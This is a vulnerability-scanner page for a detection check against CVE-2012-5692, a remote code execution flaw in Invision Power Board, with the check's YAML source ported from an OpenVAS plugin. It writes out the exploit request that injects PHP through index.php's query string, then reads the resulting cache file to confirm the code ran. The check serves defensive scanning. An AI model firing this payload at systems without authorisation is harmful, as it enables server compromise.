Invision Power Board — 1 vulnerability check

noctis ships 1 vulnerability check for Invision Power Board, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Invision Power Board 'unserialize()' PHP Code Execution

CVECVE-2012-5692
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/invision-power-board/CVE-2012-5692.yaml

Injects PHP into the query string so that unserialize() writes it to a cache file, then requests /cache/noctis_probe.php and reports when it runs (phpinfo() page).

How noctis detects it

  1. HTTP(S) request GET /index.php?<?error_reporting(0);print(___);phpinfo();die;?>
  2. Checks r1.status for ^200$
  3. HTTP(S) request GET /cache/noctis_probe.php
  4. Checks r2.body for <title>phpinfo\(\) → finding QoD 97: Invision Power Board executed injected PHP (phpinfo() rendered from the cache file) — CVE-2012-5692 unserialize() code execution confirmed.

References:

Feed source — tests/vulnerabilities/invision-power-board/CVE-2012-5692.yaml
uid: 4e8a1d53-9c27-4b60-8f1a-3d7e2b9c6a40
name: "CVE-2012-5692 — Invision Power Board 'unserialize()' PHP Code Execution (CVSS 10.0)"
description: "Injects PHP into the query string so that unserialize() writes it to a cache file, then requests /cache/noctis_probe.php and reports when it runs (phpinfo() page)."
cves: [CVE-2012-5692]
cvss: 10.0
severity: critical
category: rce
confidence_base: 0.25
tags: [invision, ipb, php-code-exec]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-5692"
  - "OpenVAS NASL 2012/gb_ipb_56288.nasl (GPL-2.0-only)"
# Ported from OpenVAS/Greenbone NASL 2012/gb_ipb_56288.nasl (GPL-2.0-only).
# Faithful two-request flow exactly as the plugin: inject a PHP payload through index.php (the
# unserialize() sink), then read the resulting cache file and confirm the injected phpinfo()
# actually executed ("<title>phpinfo()"). A patched build sanitises the input so no cache file is
# written and the read returns 404 — the detection does not fire (non-trivial negative).
steps:
  - id: init
    action: set_var
    var_name: injected
    var_value: false

  - id: inject
    action: http_request
    method: GET
    path: "/index.php?<?error_reporting(0);print(___);phpinfo();die;?>"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: r1
  - id: inject-gate
    action: match
    source: r1.status
    pattern: "^200$"
    on_match:
      set_vars:
        injected: true

  - id: read-cache
    action: http_request
    method: GET
    path: "/cache/noctis_probe.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "injected == true"
    store_as: r2
  - id: detect
    action: match
    source: r2.body
    pattern: "<title>phpinfo\\(\\)"
    condition: "injected == true && r2.status == 200"
    on_match:
      finding:
        confidence_delta: 0.70
        qod: 97
        evidence: "Invision Power Board executed injected PHP (phpinfo() rendered from the cache file) — CVE-2012-5692 unserialize() code execution confirmed."
      stop: true

View these feeds on GitHub